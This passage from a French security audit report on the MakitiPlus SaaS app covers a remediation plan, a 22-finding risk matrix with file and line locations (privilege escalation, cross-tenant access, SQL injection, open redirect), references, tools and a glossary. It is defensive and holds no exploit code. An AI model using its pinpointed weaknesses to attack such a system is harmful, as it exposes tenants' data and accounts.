HIGH-1	ÉLEVÉ	Restreindre p_role aux valeurs non-admin quand p_organization_id IS NULL	XS	BE
HIGH-3	ÉLEVÉ	Ajouter TO service_role à la politique stripe_events_service_role	XS	BE
HIGH-4	ÉLEVÉ	Définir is_org_admin() + GRANT EXECUTE TO authenticated	XS	BE

8.2 Palier 2 — Court terme (2 semaines)

Le palier 2 traite les vulnérabilités élevées restantes (HIGH-2) et les problèmes moyens avec impact opérationnel direct (MED-3 bloque la feature WhatsApp, MED-4 et MED-5 sont des vecteurs d'attaque réels qui demandent un peu plus de travail de mise en œuvre).

ID	Sév.	Correctif	Effort	Resp.
HIGH-2	ÉLEVÉ	Retirer p_organization_id de get_supplieur_stats et get_supplieur_with_products, utiliser get_user_organization_id()	S	BE
MED-3	MOYEN	Créer migration whatsapp_config + whatsapp_message_logs avec RLS	S	BE
MED-5	MOYEN	Remplacer origin/redirectTo par validateOrigin(req) dans admin-send-reset-link	XS	BE
MED-4	MOYEN	Utiliser format('%I', col_name) par colonne dans restore_backup + validation information_schema	S	BE

8.3 Palier 3 — Moyen terme (1 mois)

Le palier 3 consolide la posture sécurité avec les corrections de defense-in-depth et de qualité de code. Ces correctifs ne sont pas urgents mais réduisent la surface d'attaque future et améliorent la maintenabilité du code sécurité. C'est aussi le bon moment pour mettre en place les tests d'intégration qui valident que les vulnérabilités corrigées ne réapparaissent pas (tests de non-régression sécurité).

ID	Sév.	Correctif	Effort	Resp.
MED-1	MOYEN	Allowlist p_action dans log_user_activity (ou conversion en ENUM)	S	BE
MED-2	MOYEN	Drop anciennes policies profiles/user_roles ou supprimer la migration redondante	XS	BE
MED-6	MOYEN	Ajouter schémas zod pour ProductForm, CustomerDetailDialog, StockAdjustDialog, CreditPaymentDialog	M	FE
MED-7	MOYEN	Migrer chart.tsx vers CSS custom properties, resserrer CSP style-src	S	FE
LOW-1	FAIBLE	Supprimer stale GRANT dans 20260701030000	XS	BE
LOW-2	FAIBLE	rotate-test-accounts : if (!cronSecret) return 500	XS	BE
LOW-3	FAIBLE	send-whatsapp : vérifier EXISTS customer dans l'org	S	BE
LOW-4	FAIBLE	Déplacer last_logout_at dans signOut RPC avec NOW()	S	BE
LOW-5	FAIBLE	Sanitize couleurs dans chart.tsx (regex /^#[0-9a-fA-F]{3,8}\$/)	XS	FE
LOW-6	FAIBLE	Android: allowBackup=false + restreindre file_paths.xml	S	DevOps
—	TEST	Ajouter tests non-régression pour CRIT-1, HIGH-1, HIGH-2, HIGH-3 (scénarios d'attaque)	M	BE+FE
—	CI	Ajouter script CI scan références fonctions non définies (ex: is_org_admin)	S	DevOps

Effort total estimé : ~12 jours-homme (BE: 8jh, FE: 3jh, DevOps: 1jh). À répartir sur un sprint dédié sécurité ou à intégrer dans les sprints réguliers sur 4 semaines.

9. Matrice complète des risques

La matrice ci-dessous récapitule les 22 constats triés par sévérité puis par identifiant. Elle constitue la référence unique pour le suivi de remédiation : chaque ligne doit être passée à « traité » dans le tracker d'équipe une fois le correctif déployé en production et le test de non-régression associé validé.

ID	Sév.	Titre	Fichier	Effort	Plan
CRIT-1	CRITIQUE	Self-grant super_admin via register_user	20260702100000_fix_register_user_first_admin.sql:53-90	S	P1
HIGH-1	ÉLEVÉ	register_user NULL org accepte tout rôle	20260702100000_fix_register_user_first_admin.sql:81	XS	P1
HIGH-2	ÉLEVÉ	Cross-tenant via get_supplier_stats / get_supplier_with_products	20260702060000_add_suppliers_and_supplier_products.sql:140-208	S	P2
HIGH-3	ÉLEVÉ	stripe_events policy USING(true) WITH CHECK(true) sans TO	20260703040000_p1_sale_limit_grant_stripe_idempotency.sql:131-133	XS	P1
HIGH-4	ÉLEVÉ	is_org_admin() référencée par 7 politiques mais jamais définie	20260702190000_backup_restore.sql + 20260702200000_support_tickets.sql	XS	P1
MED-1	MOYEN	user_activity_logs accepte n'importe quel p_action	20260706060000_user_activity_tracking.sql:73-77	S	P3
MED-2	MOYEN	profiles/user_roles politiques RLS incohérentes	20260706200000_fix_auth_profile_role_rls.sql:1-26	XS	P3
MED-3	MOYEN	whatsapp_config et whatsapp_message_logs jamais créés	supabase/functions/send-whatsapp/index.ts:101,191	S	P2
MED-4	MOYEN	restore_backup format("%s", v_col_list) injection	20260702190000_backup_restore.sql:359-369	S	P2
MED-5	MOYEN	admin-send-reset-link redirectTo client-controlled	supabase/functions/admin-send-reset-link/index.ts:133-137	XS	P2
MED-6	MOYEN	Forms métier sans zod (ProductForm, CustomerDetailDialog...)	src/components/products/ProductForm.tsx & al.	M	P3
MED-7	MOYEN	CSP style-src unsafe-inline + chart.tsx dangerouslySetInnerHTML	render.yaml:46 + src/components/ui/chart.tsx:70	S	P3
LOW-1	FAIBLE	Stale GRANT sur check_account_status(UUID) droppée	20260701030000_high_audit_fixes.sql:80	XS	P3
LOW-2	FAIBLE	rotate-test-accounts fail-open si CRON_SECRET unset	supabase/functions/rotate-test-accounts/index.ts:21	XS	P3
LOW-3	FAIBLE	send-whatsapp ne vérifie pas customer_id dans org	supabase/functions/send-whatsapp/index.ts:125-138	S	P3
LOW-4	FAIBLE	useInactivityTimeout écrit last_logout_at depuis le client	src/hooks/useInactivityTimeout.ts:60-66	S	P3
LOW-5	FAIBLE	chart.tsx dangerouslySetInnerHTML avec valeurs couleur	src/components/ui/chart.tsx:70-86	XS	P3

ID	Sév.	Titre	Fichier	Effort	Plan
LOW-6	FAIBLE	Android allowBackup=true + FileProvider paths larges	android/app/src/main/AndroidManifest.xml:5	S	P3
INFO-1	INFO	verify_jwt default true (bonne pratique)	supabase/config.toml:8-15	XS	—
INFO-2	INFO	postgrestSanitize.ts contrôle l'injection PostgREST	src/lib/postgrestSanitize.ts:13	—	—
INFO-3	INFO	Session memory-only (résistance vol de token)	src/integrations/supabase/client.ts:33-39	—	—
INFO-4	INFO	CI: npm audit + scan secrets + .env leak prevention	.github/workflows/ci.yml:45-77	—	—

10. Annexes — Références et outils

10.1 Références externes

Les références ci-dessous ont servi de cadre pour qualifier les constats et formuler les recommandations. Elles constituent également une lecture recommandée pour les développeurs souhaitant approfondir leur compréhension des patterns sécurité Supabase et Stripe.

Référence	Utilité
OWASP Top 10 (2021)	Cadre général de qualification : A01 Broken Access Control (CRIT-1, HIGH-1, HIGH-2), A04 Insecure Design (HIGH-4), A05 Security Misconfiguration (HIGH-3), A07 Identification & Auth Failures (MED-5), A08 Software & Data Integrity (MED-1, MED-4)
OWASP Cheat Sheet Series — Supabase	Patterns RLS, SECURITY DEFINER, vérification JWT côté edge function
Supabase Documentation — Row Level Security	Référence pour les politiques USING/WITH CHECK, FORCE RLS, clause TO
Supabase Documentation — Auth (JWT, sessions, refresh tokens)	Référence pour persistSession, autoRefreshToken, cookieStorage
Stripe Documentation — Webhook Best Practices	Vérification signature HMAC, fenêtre temporelle, idempotency, gestion des retries
CWE — Common Weakness Enumeration	CWE-269 Improper Privilege Management (CRIT-1), CWE-639 Authorization Bypass (HIGH-2), CWE-285 Improper Authorization (HIGH-3), CWE-664 Improper Control of Resource Identifiers (HIGH-4), CWE-89 SQL Injection (MED-4), CWE-601 Open Redirect (MED-5)
RGPD (Règlement Général Protection des Données)	Référence pour HIGH-2 (exposition cross-tenant = notification CNIL sous 72h si données personnelles)
Content Security Policy Level 3 (W3C)	Référence pour MED-7 et la directive style-src

10.2 Outils recommandés pour audit continu

Pour éviter la réapparition des vulnérabilités identifiées dans ce rapport et détecter précocement de nouvelles classes de bugs, les outils suivants peuvent être intégrés au pipeline CI existant. La majorité sont gratuits pour les projets open-source ou ont un tier gratuit suffisant pour un SaaS en phase pilote.

Outil	Type	Apport pour MakitiPlus
supabase-cli (db lint)	Local CLI	Validation des politiques RLS, détection des policies permissives (USING(true) sans TO), vérification du schéma
npm audit (déjà en CI)	CI check	Maintenir — bloque déjà high/critical. Ajouter Dependabot pour les PR auto de mise à jour

Outil	Type	Apport pour MakitiPlus
semgrep + règles Supabase	SAST	Règles custom pour détecter les RPC SECURITY DEFINER qui acceptent p_user_id/p_organization_id du client, les dangerouslySetInnerHTML, les hardcoded secrets
scorecard (OpenSSF)	SAST + supply chain	Évaluation de la sécurité du dépôt (branche protection, signed commits, dependency hygiene)
trufflehog / gitleaks	Secret scanning	Compléter le scan CI existant avec une détection plus large (clés API custom, tokens Twilio/Resend)
Playwright + tests d'attaque	E2E sécurité	Écrire des tests E2E qui tentent les scénarios CRIT-1/HIGH-1/HIGH-2 et assert qu'ils sont rejetés. Empêche la régression
Sentry Performance Monitoring	Runtime	Déjà en place pour les erreurs. Activer les traces sur les RPC pour détecter les pics de latence (précurseurs d'attaques)

10.3 Migrations SQL à patcher

Liste exhaustive des fichiers de migration concernés par au moins un constat du présent rapport. Cette liste peut servir de checklist lors du déploiement des correctifs : chaque migration listée doit soit être patchée via une nouvelle migration correctrice, soit être squashed dans le cadre d'une refonte du schéma (recommandé pour le long terme — le projet compte 76 migrations dont beaucoup sont des « fix_... » successifs qui pourraient être consolidés).

Migration	Findings concernés
20260701030000_high_audit_fixes.sql	LOW-1 (stale GRANT)
20260702060000_add_suppliers_and_supplier_products.sql	HIGH-2 (cross-tenant)
20260702100000_fix_register_user_first_admin.sql	CRIT-1, HIGH-1
20260702190000_backup_restore.sql	HIGH-4, MED-4
20260702200000_support_tickets.sql	HIGH-4
20260703040000_p1_sale_limit_grant_stripe_idempotency.sql	HIGH-3
20260706060000_user_activity_tracking.sql	MED-1
20260706200000_fix_auth_profile_role_rols.sql	MED-2
+ 1 nouvelle migration à créer	MED-3 (whatsapp_config, whatsapp_message_logs)
+ 1 nouvelle migration à créer	CRIT-1 (correctif admin_exists check)
+ 1 nouvelle migration à créer	HIGH-4 (CREATE FUNCTION is_org_admin)

10.4 Glossaire

Terme	Définition
RLS (Row Level Security)	Mécanisme PostgreSQL qui filtre les lignes accessibles selon des politiques (USING pour SELECT/DELETE, WITH CHECK pour INSERT/UPDATE). En Supabase, ça devient le filtre multi-tenant principal
SECURITY DEFINER	Attribut de fonction PostgreSQL qui l'exécute avec les privilèges du propriétaire (souvent le role postgres/service_role), contournant la RLS. Utilisé pour les RPC qui doivent réaliser des opérations multi-tables atomiques
auth.uid()	Fonction Supabase qui retourne l'UUID de l'utilisateur authentifié (depuis le JWT). Doit toujours être utilisée côté serveur, jamais trustée depuis un paramètre client
Edge Function	Fonction Deno déployée sur Supabase, accessible via HTTPS. Reçoit le JWT utilisateur dans l'header Authorization. verify_jwt=true (default) bloque les appels sans JWT valide
Cross-tenant	Vulnérabilité où un utilisateur d'une organisation (tenant) peut accéder aux données d'une autre organisation. Critique en SaaS multi-tenant
Timing-safe comparison	Comparaison de chaînes qui prend le même temps quel que soit le nombre de caractères correspondants, pour empêcher les attaques par timing. Implémentée via XOR constant-time
Idempotency	Propriété d'une opération qui peut être répétée sans effet supplémentaire. Critique pour les webhooks Stripe qui peuvent être renvoyés en cas de timeout